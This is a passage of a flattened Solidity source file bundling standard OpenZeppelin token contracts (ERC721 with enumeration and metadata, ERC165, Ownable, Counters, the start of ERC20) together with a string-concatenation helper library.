which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: openzeppelin-solidity/contracts/drafts/Counters.sol pragma solidity ^0.5.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // File: openzeppelin-solidity/contracts/introspection/ERC165.sol pragma solidity ^0.5.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: openzeppelin-solidity/contracts/token/ERC721/ERC721.sol pragma solidity ^0.5.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /** * @dev Gets the balance of the specified address. * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _ownedTokensCount[owner].current(); } /** * @dev Gets the owner of the specified token ID. * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf. * @param to operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address to, bool approved) public { require(to != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][to] = approved; emit ApprovalForAll(_msgSender(), to, approved); } /** * @dev Tells whether an operator is approved by a given owner. * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address. * Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * Requires the msg.sender to be the owner, approved, or operator. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom(address from, address to, uint256 tokenId) public { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transferFrom(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address from, address to, uint256 tokenId) public { safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the _msgSender() to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransferFrom(from, to, tokenId, _data); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal { _transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether the specified token exists. * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID. * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _safeMint(address to, uint256 tokenId) internal { _safeMint(to, tokenId, ""); } /** * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted * @param _data bytes data to send along with a safe transfer check */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); emit Transfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own"); _clearApproval(tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * @param tokenId uint256 ID of the token being burned */ function _burn(uint256 tokenId) internal { _burn(ownerOf(tokenId), tokenId); } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _clearApproval(tokenId); _ownedTokensCount[from].decrement(); _ownedTokensCount[to].increment(); _tokenOwner[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * This is an internal detail of the `ERC721` contract and its use is deprecated. * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = to.call(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data )); if (!success) { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert("ERC721: transfer to non ERC721Receiver implementer"); } } else { bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } } /** * @dev Private function to clear current approval of a given token ID. * @param tokenId uint256 ID of the token to be transferred */ function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } } // File: openzeppelin-solidity/contracts/token/ERC721/IERC721Enumerable.sol pragma solidity ^0.5.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721Enumerable is IERC721 { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId); function tokenByIndex(uint256 index) public view returns (uint256); } // File: openzeppelin-solidity/contracts/token/ERC721/ERC721Enumerable.sol pragma solidity ^0.5.0; /** * @title ERC-721 Non-Fungible Token with optional enumeration extension logic * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721Enumerable is Context, ERC165, ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => uint256[]) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Constructor function. */ constructor () public { // register the supported interface to conform to ERC721Enumerable via ERC165 _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner. * @param owner address owning the tokens list to be accessed * @param index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev Gets the total amount of tokens stored by the contract. * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return _allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * Reverts if the index is greater or equal to the total number of tokens. * @param index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 index) public view returns (uint256) { require(index < totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to transferFrom, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { super._transferFrom(from, to, tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); _addTokenToOwnerEnumeration(to, tokenId); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to address the beneficiary that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { super._mint(to, tokenId); _addTokenToOwnerEnumeration(to, tokenId); _addTokenToAllTokensEnumeration(tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {ERC721-_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); _removeTokenFromOwnerEnumeration(owner, tokenId); // Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund _ownedTokensIndex[tokenId] = 0; _removeTokenFromAllTokensEnumeration(tokenId); } /** * @dev Gets the list of token IDs of the requested owner. * @param owner address owning the tokens * @return uint256[] List of token IDs owned by the requested address */ function _tokensOfOwner(address owner) internal view returns (uint256[] storage) { return _ownedTokens[owner]; } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { _ownedTokensIndex[tokenId] = _ownedTokens[to].length; _ownedTokens[to].push(tokenId); } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _ownedTokens[from].length.sub(1); uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array _ownedTokens[from].length--; // Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by // lastTokenId, or just over the end of the array if the token was the last one). } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length.sub(1); uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array _allTokens.length--; _allTokensIndex[tokenId] = 0; } } // File: openzeppelin-solidity/contracts/token/ERC721/IERC721Metadata.sol pragma solidity ^0.5.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } // File: openzeppelin-solidity/contracts/token/ERC721/ERC721Metadata.sol pragma solidity ^0.5.0; contract ERC721Metadata is Context, ERC165, ERC721, IERC721Metadata { // Token name string private _name; // Token symbol string private _symbol; // Base URI string private _baseURI; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /** * @dev Constructor function */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721_METADATA); } /** * @dev Gets the token name. * @return string representing the token name */ function name() external view returns (string memory) { return _name; } /** * @dev Gets the token symbol. * @return string representing the token symbol */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the URI for a given token ID. May return an empty string. * * If the token's URI is non-empty and a base URI was set (via * {_setBaseURI}), it will be added to the token ID's URI as a prefix. * * Reverts if the token ID does not exist. */ function tokenURI(uint256 tokenId) external view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // Even if there is a base URI, it is only appended to non-empty token-specific URIs if (bytes(_tokenURI).length == 0) { return ""; } else { // abi.encodePacked is being used to concatenate strings return string(abi.encodePacked(_baseURI, _tokenURI)); } } /** * @dev Internal function to set the token URI for a given token. * * Reverts if the token ID does not exist. * * TIP: if all token IDs share a prefix (e.g. if your URIs look like * `http://api.myproject.com/token/<id>`), use {_setBaseURI} to store * it and save gas. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}. * * _Available since v2.5.0._ */ function _setBaseURI(string memory baseURI) internal { _baseURI = baseURI; } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a preffix in {tokenURI} to each token's URI, when * they are non-empty. * * _Available since v2.5.0._ */ function baseURI() external view returns (string memory) { return _baseURI; } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use _burn(uint256) instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File: openzeppelin-solidity/contracts/token/ERC721/ERC721Full.sol pragma solidity ^0.5.0; /** * @title Full ERC721 Token * @dev This implementation includes all the required and some optional functionality of the ERC721 standard * Moreover, it includes approve all functionality using operator terminology. * * See https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata { constructor (string memory name, string memory symbol) public ERC721Metadata(name, symbol) { // solhint-disable-previous-line no-empty-blocks } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/Strings.sol pragma solidity ^0.5.0; library Strings { // via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string memory _a, string memory _b) internal pure returns (string memory) { return strConcat(_a, _b, "", "", ""); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } } // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol pragma solidity ^0.5.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See 